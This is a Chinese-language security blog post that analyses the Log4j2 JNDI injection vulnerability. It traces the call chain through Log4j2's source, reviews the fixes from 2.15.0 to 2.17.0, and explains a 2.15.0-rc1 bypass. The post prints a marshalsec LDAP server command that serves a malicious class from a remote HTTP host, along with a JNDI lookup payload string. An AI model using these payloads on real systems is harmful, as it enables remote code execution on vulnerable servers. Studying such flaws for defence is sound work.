0x00、前言
原理篇到Log4j2部分,拖得有点久了,继续学习分析
0x01、Log4j2描述
引用描述:
Apache log4j2是一款开源的Java日志记录框架,提供方便的日志记录,通过定义每一条日志信息的级别,能够更加细致地控制日志生成过程,以便用于编写程序时进行调试,在项目上线后出现状况时也可根据日志记录来判断原因,被广泛大量用于业务系统开发环境中。
由于log4j2的优秀性能,大量java开发系统进行使用,导致影响范围极其广泛。
0x02、影响范围
log4j版本 <= 2.14.1
0x03、环境搭建
项目中pom.xml添加依赖
<dependency> |
0x04、漏洞利用
恶意类编译成class文件:
public class EvilPayload { |
恶意类存放位置:
在恶意类位置开启http服务:
借助marshalsec服务开启ldap服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.233:8999/#EvilPayload 9998 |
漏洞利用,在log日志记录处输入payload,执行触发漏洞:
0x05、漏洞分析
整体来说还是jndi注入的问题,只不过前面经过一系列log4j对字符串的处理取值,最后再执行jndi注入,跟下完整步骤。
日志记录点处断点:
跟进断点,会先进入logIfEnabled
方法判断是否开启log日志功能
开启条件需要使用调用的方法值小于=<200(注:调用方法的安全等级可以在配置文件中进行修改,修改后的调用方法同样可触发漏洞)
不同方法对应的level值:
调用的error
方法值为200,因此能进入到下面的方法,进入到logmassage
方法(日志消息方法)中,继续跟进logmassage
方法
接着进入logMessageSafely
方法(安全的日志消息方法)中,继续跟进
接着进入logMessageTrackRecursion
方法(日志消息跟踪递归方法)中
进入tryLogMessage
方法(尝试记录日志消息方法)
进而调用log方法,继续跟进
再进入到LocationAwareReliabilityStrategy
的log方法中
进入到LoggerConfig.log
方法中,通过调用createEvent
方法将日志消息相关的所有信息封装进一个logEvent
对象中
创建完后,再调用log方法去处理logEvent
对象,跟进
会经过isFiltered
方法判断该对象是否是被过滤的对象
由于filter
未被调用过赋值过,因此默认为null,因此会返回0,前面由于存在!不等号,因此请求结果为true,进入下一步调用processLogEvent
方法
跟进processLogEvent
方法,调用关键的callAppenders
方法
这里会调用到appender
组件(负责写日志的组件),常见的子类(ConsoleAppender:将日志添加到控制台输出;FileAppender:将日志输入到指定文件中;RollingFileAppender:滚动日志记录,当满足某条件时,将日志输入到指定文件中),这里调用的ConsoleAppender
然后调用ConsoleAppender
的callAppender
方法,接着调用callAppenderPreventRecursion
方法处理事件
callAppenderPreventRecursion
方法中调用callAppender0
方法
callAppender0
方法会先通过isFilteredByAppender
方法判断appender
是否是Filterable
的子类和判断事件的类型是否是DENY
由于不是因此进入判断体调用tryCallAppender
方法,跟进tryCallAppender
方法
该方法调用事件处理器调用append
添加事件方法
跟进append
方法,调用tryAppend
方法,然后再调用directEncodeEvent
方法编码事件
跟进directEncodeEvent
方法,接着调用encode
方法
调用toText
方法序列化事件数据,然后调用toSerializable
方法序列化
然后针对格式程序数组formatters[]
进行循环调用format
格式化数据
漏洞触发位置为Message
的格式程序的format
处理
跟进到序号8的format
处理,调用MessagePatternConverter
针对Message
的转换器format
格式化处理数据
跟进format
格式化处理数据,先是获取message
信息
然后进入判断,config
存在,并且允许调用Lookup
方法,则进入循环体
然后对workingBuilder
内容进行搜寻字符串如果存在${
符号,则截取完整字符串
对workingBuilder
内容添加append
事件,但会再次对数据进行处理,通过getStrSubstitutor
方法获取StrSubstitutor
对象,然后调用replace
方法替换字符串
跟进replace
方法,调用substitute
方法
跟进substitute
方法
前半段的变量表示:
//prefixMatcher表示'${'前缀 |
然后就是判断位置,截选${}里的内容
取到${}里的内容后,再对内容进行:\-
分割取值
如内容为a:\-b
,则截选出来值为varname=a
,varDefaultValue=b
,如果内容中的-号本身就是名称本身,则使用a:\\-b
形式转义-号
如内容为a:-b
,则截选出来值为varname=a
,varDefaultValue=b
如果不是上述情况:如内容为a:b
,则varname=a:b
,varDefaultValue=null
截选完后,下一步调用到resolveVariable
方法
跟进resolveVariable
方法,调用到lookup
方法
跟进lookup
方法,前半段是获取内容:
前的前缀,识别到jndi
,然后查询strLookupMap
表,找到jndi
对应值获取到jndilookup
然后调用JndiLookup.lookup
方法
触发漏洞
0x06、修复情况
官方修复声明文档
2.15.0正式版本修复:关闭了jndi协议,添加白名单机制,只允许本地访问ldap
2.16.0正式版本修复:日志不再支持lookup功能,lookup功能在配置中仍然可用
2.17.0正式版本修复:移除LDAP,JNDI连接仅在java协议中被支持
在2.15.0正式版本之前,依次推出了2.15.0-rc1、2.15.0-rc2的两次补丁,其中rc1存在问题,rc2算是修复rc1的补丁,但这两次rc版本都没在官网上进行发布,而是直接发布在github上,官网正式发布版本为2.15.0,在其之后。
在部署2.15.0-rc1版本中出了问题,很多仓库都没有rc1版本只有2.15.0的正式版,耽误了很多时间,就按2.15.0正式版本部署上去看区别吧
在运行流程中toText后格式化信息步骤就跟2.14.0版本发生了变化,到format格式化步骤
这里的转换器变成了MessagePatternConverter
类的内部类SimpleMessagePatternConverter
来进行处理
因此调用的format
方法为调用到该类的formatTo
方法
跟进append
方法
这里直接返回输出信息,并不会对信息中的${进行匹配处理
到此输出完成,运行结束,其中没有涉及${的匹配处理,也没有调用jndi。
除此之外,2.15.0-rc1版本开始还对lookup方法进行了修改,添加了条件判断,仅允许本地访问jndi和ldap,也对反序列化数据进行了校验
0x07、2.15.0-rc1绕过
根据2.15.0-rc1的修复情况目前知道的点:
- 默认情况会调用
SimpleMessagePatternConverter
类来转换数据并直接输出。 - 默认关闭了jndi调用。
也就是说想要继续匹配${
内容,必须更改转换器,并且开启jndi的调用才能进入到最后的lookup
调用的步骤(先不考虑仅允许本地地址调用jndi这个地方,先考虑如何到这里)
在更换成的MessagePatternConverter
类中,存在一个类LookupMessagePatternConverter
,该类就跟2.14.0的版本步骤差不多,匹配${截取替换
也就是将下面的转换器更改成LookupMessagePatternConverter
类
MessagePatternConverter
类的初始化方法newInstance
提供了更换转换器,但需要满足条件:
- lookups变量要为true
- 存在config
先看lookups
变量的调用方法loadLookups
,要求传入的参数等于lookups
参数为图中的buffer
另外一个条件存在config,即为上图中的event,自然是存在的
现在思路比较清晰,需要实施的事:
- 调用
MessagePatternConverter
类的newInstance
方法,传递event
参数和buffer
参数,其中buffer
参数值要为lookups
这里借用天下大木头师傅的开启payload:
public class Log4jTest { |
网上还有种开启方式则是在动态调试中对option进行修改值
按上面的payload在最后一步进行下断点
还是跟2.14.0版本步骤一样替换截选步骤,下面步骤一样,就不跟着分析了
调用jndi.lookup
一直到调用到jndiManager.lookup方法
这里协议仅允许java、ldap、ldaps,并且仅允许本地访问
如果遇到报错则进入报错体,由于cr1版本的catch为空,因此只要让他报错就能绕过上面的白名单限制
因此payload可以输下面举例等方式达到报错进入catch体中,变式payload在github上有很多就不一一列举了。
${jndi:ldap://localhost:9998/ EvilPayload} |
最后运行lookup方法触发漏洞(当前版本为2.15.0版本,rc1环境有问题,就不贴触发截图了)
return (T) this.context.lookup(name); |
整体来说除非服务器端更改了配置文件,默认情况开发也不会更改,因此存在漏洞的服务器少了很多的,利用难度也增加了许多,不过可以学习下绕过思路还是能学到很多东西
0x08、2.15.0-rc2修复
rc2为rc1的修复补丁,在catch
异常体中添加了返回值null
,至此rc1漏洞修复
0x09、总结
整体流程下来主要是对日志信息进行截取替换选取出${}的内容,再根据内容头的协议调用协议对应的lookup方法导致jndi注入,流程链比较长,但核心链比较容易理解和跟踪;rc1则是默认关闭jndi-lookup方法,并且更换了转换器去处理日志信息,并增加了白名单机值去处理lookup访问请求,但由于catch抛出异常体未做处理导致可以绕过,利用环境也更难,总之还是能学到很多东西。
0x10、参考链接
https://su18.org/post/log4j2/
https://www.yuque.com/tianxiadamutou/zcfd4v/els4r7
https://blog.csdn.net/cdyunaq/article/details/121927991